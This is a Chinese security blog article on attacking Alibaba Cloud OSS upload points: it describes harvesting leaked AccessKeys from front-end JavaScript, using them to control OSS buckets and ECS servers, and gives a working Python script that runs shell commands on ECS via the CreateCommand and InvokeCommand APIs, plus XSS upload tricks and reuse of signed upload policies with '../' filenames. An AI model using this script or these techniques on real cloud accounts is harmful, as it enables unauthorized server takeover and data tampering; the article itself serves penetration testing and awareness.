freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

OSS密钥复用研究以及常用渗透利用方式总结
2021-11-10 09:08:36

0x00 前言

OSS渗透目前最常见的方式就是得到Secret Key,那么如果Secret Key并没有被泄露难道就不可以被利用了吗?答案是否定的。

自笔者上篇文章末尾的“全域名”泛滥后,笔者来给大家通过官方给出的API代码分析的方式分析一下Secret Key的复用问题,因为在这里,某里云官方给的demo同样是存在此问题的。

0x01 环境布局

在这里,笔者准备了一个购买了ECS的账号来跟大家进行演示。这个账号的资产为:

一台ECS

两台OSS

0x02 常见姿势总结

在真正的实战中,遇到我们喜爱的上传点时,我们会发现类似于如下HTTP请求:


当Options请求完毕后会发现一个上传包,并且携带了key:

那么此时已经可以确定为OSS上传点。

针对于类似于这种的包,我们会第一时间去翻看网站所引入的所有JavaScript外联,去查看是否在前端泄露了Secret Key。

在这里笔者先给大家简单的叙述一下查找到Secret Key意味着什么。

Access Key可以看作是阿里云的另一种账户密码。
OSS,ECS等等是阿里云账户下的产品,
当这个账户下有OSS产品,我们就可以用accesskey访问这个oss,
如果这个账户下有ECS,我们就能通过这个accesskey去操控ecs,执行命令。

在这里为了方便演示,我们首先将两台服务器设置跨域请求:

然后创建规则:

下面笔者创建一个实战模拟代码

源代码来自:https://files.cnblogs.com/files/ossteam/oss-h5-upload-js-direct.tar.gz

参考:https://www.cnblogs.com/ossteam/p/4942227.html

情况一:Secret Key 泄露

使用F12进行搜索Secret Key:

这是实战中一个典型的Secret Key泄露,也是能让大家眼前一亮的信息,那么我们下一步应该怎么做呢?

使用 oss-browser 来进行管理 oss 服务器

下载地址:http://gosspublic.alicdn.com/oss-browser/1.9.4/oss-browser-win32-x64.zip

在这里我们只需要将阿里云的AccessKeyId与AccessKeySecret填入就可以了。

这里我们就可以对这两台OSS服务器进行增删改查操作。

使用行云管家进行重置ECS密码信息

当然如果只可以管理两台静态服务器,那么这点权限也太小了,我们可以通过行云管家来进行管理ECS。

登陆行云管家:https://yun.cloudbility.com/

填入Access Key ID 与 Access Key Secret 即可接管ECS服务器。

导入成功后这里可以重置系统密码。

重置后ssh登录:

登录成功,但是显然这种非常大的动静并不是我们想要的。那么我们则需要使用OpenApi来实现命令执行。

使用OpenApi来进行命令执行

在OpenApi官网:https://api.aliyun.com/中,存在 CreateCommand 与 InvokeCommand Api,我们可以借用这两个来实现命令执行。

参考文章:https://www.cnblogs.com/J0ng/p/13210147.html

只不过这些步骤太麻烦了,不如编写为POC来进行本地调用。

下面是笔者做好的POC:

#!/usr/bin/env python

#coding=utf-8

import json, base64

from aliyunsdkcore.client import AcsClient

from aliyunsdkcore.acs_exception.exceptions import ClientException

from aliyunsdkcore.acs_exception.exceptions import ServerException

from aliyunsdkecs.request.v20140526.CreateCommandRequest import CreateCommandRequest

from aliyunsdkecs.request.v20140526.InvokeCommandRequest import InvokeCommandRequest

ID = '' # Access Id

KEY = '' # Access Key

reGon = ''            # 地区

InstanceId = [""] # 实例ID

CmdBytes = b'''ls /

'''# 要执行的命令

Cmd = base64.b64encode(CmdBytes).decode('utf-8')

CmdType = "RunShellScript"

# RunBatScript:创建一个在Windows实例中运行的 Bat 脚本。

# RunPowerShellScript:创建一个在Windows实例中运行的PowerShell脚本。

# RunShellScript:创建一个在Linux实例中运行的Shell脚本。


client = AcsClient(ID, KEY, reGon)

request = CreateCommandRequest()

request.set_accept_format('json')

request.set_Name("123123")

request.set_Type("RunShellScript")

request.set_CommandContent(Cmd)

response = client.do_action_with_exception(request)

print(str(response, encoding='utf-8'))

request2 = InvokeCommandRequest()

request2.set_accept_format('json')

request2.set_CommandId((json.loads(response))['CommandId'])

request2.set_InstanceIds(InstanceId)

response = client.do_action_with_exception(request2)

print(str(response, encoding='utf-8'))

只需要简单配置一下就可以了,配置如图:

配置好之后进行执行:

可以从云管理这边看到所执行的命令。

PS: 如果使用POC的方式注意安装Python库:

pip3 install aliyun-python-sdk-core-v3

pip3 install aliyun-python-sdk-cdn

pip3 install aliyun-python-sdk-ecs

情况二:Secret Key 没有泄露

毫无卵用的XSS

既然OSS可以上传任意mime类型,那么我们可以直接上传text/html来进行XSS操作,如图:

参考文章:http://pirogue.org/2017/09/29/aliyunoss/

不知为何,笔者这里复现失败,就不去尝试了。

根据上传点的回显来构造XSS

这也是笔者看到的另一种场景,也就是说,当你上传“1.jpg<script>alert(1)</script>”之后,随后输出在页面上,从而导致XSS,笔者这里也不进行复现了。

参考文章:https://www.freebuf.com/vuls/288206.html

0x03 无需SecretKey的利用方法

好了,总结以上需要SecretKey的攻击手法后,我们再来看一下笔者今天想要说的“无需SecretKey”的利用方式。

根据以上种种案例迹象表明,只有当我们拿到SecretKey后才可以进行更危险的操作。

但是我们根据官方提供的PHP上传API来探究,事情到底是不是得有SecretKey才可以进行利用。

开发人员对待OSS的三种情况:

通过JavaScript直接进行上传

绘图如下:

当然这种方式是最危险的,在前面也讲过利用方式了。

通过Json轮询的方式来进行直接上传

这种方式是笔者见过开发者最多的一种方式,也是某云推荐的使用方式,咱们先看一下例图再进行挖掘它其中的问题。

通过服务器单条线路直接上传

这种方式也是最安全的方式了,大致如下:

在前面的图中我们也看到了,轮询的方式也是一种比较推荐的方式哈,只不过,这个服务器返回给我们的“密钥”到底是什么,我们还真不清楚。

分析问题

那么我们查看官方文档:

那么笔者下载下来之后进行分析源代码:

我们可以看到,ID字段未经任何处理就拼接到了返回包中,signature存放了“密钥能存活多久”的key以及AccessSecretKey,将它们进行sha1加密,可以发现,host确确实实的是一动不动的,该密钥与Host没有一点关系。

那么我们可以猜想:这条密钥就是为了短暂的使用一下AccessKey,过期不候。

那么如果一个人有多台OSS呢?这条密钥是否可以复用。

那么我们捕获该php文件的返回结果,我们观察一下policy的base64解码值,如图:

policy值:

JTdCJTIyZXhwaXJhdGlvbiUyMiUzQSUyMjUxOTAtMDktMjNUMjAlM0ExNyUzQTI0LjAwMFolMjIlMkMlMjJjb25kaXRpb25zJTIyJTNBJTVCJTVCJTIyY29udGVudC1sZW5ndGgtcmFuZ2UlMjIlMkMwJTJDMTA0ODU3NjAwMCU1RCUyQyU1QiUyMnN0YXJ0cy13aXRoJTIyJTJDJTIyJTI0a2V5JTIyJTJDJTIydXNlci1kaXItcHJlZml4JTVDLyUyMiU1RCU1RCU3RA==

Base解密:

那么我们使用它们对tester1服务器进行文件上传操作:

可以看到,成功上传,那么我们将目标改为tester2,看返回结果:

可以看到,同一份密钥是可以上传多个服务器的。

利用场景

根据笔者所发布的《记一次授权导致的全域名沦陷》:https://www.freebuf.com/vuls/303620.html,例图可以为:

简单的过滤绕过:

如果手上已经持有了密钥,通过这次实验,则可以向该KeyId使用者的任意OSS服务器上传任意文件,只不过这里还有一点,有些上传点是必须要指明目录的,例如:

则key只能为Temp下的,但是我们可以生成带有../的文件名,如图:

这样依然可以生成凭据,从而进行任意目录上传。

本文作者:, 属于FreeBuf原创奖励计划,未经许可禁止转载

# web安全
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
评论 按热度排序

登录/注册后在FreeBuf发布内容哦

相关推荐
\
  • 0 文章数
  • 0 评论数
  • 0 关注者
文章目录
登录 / 注册后在FreeBuf发布内容哦
收入专辑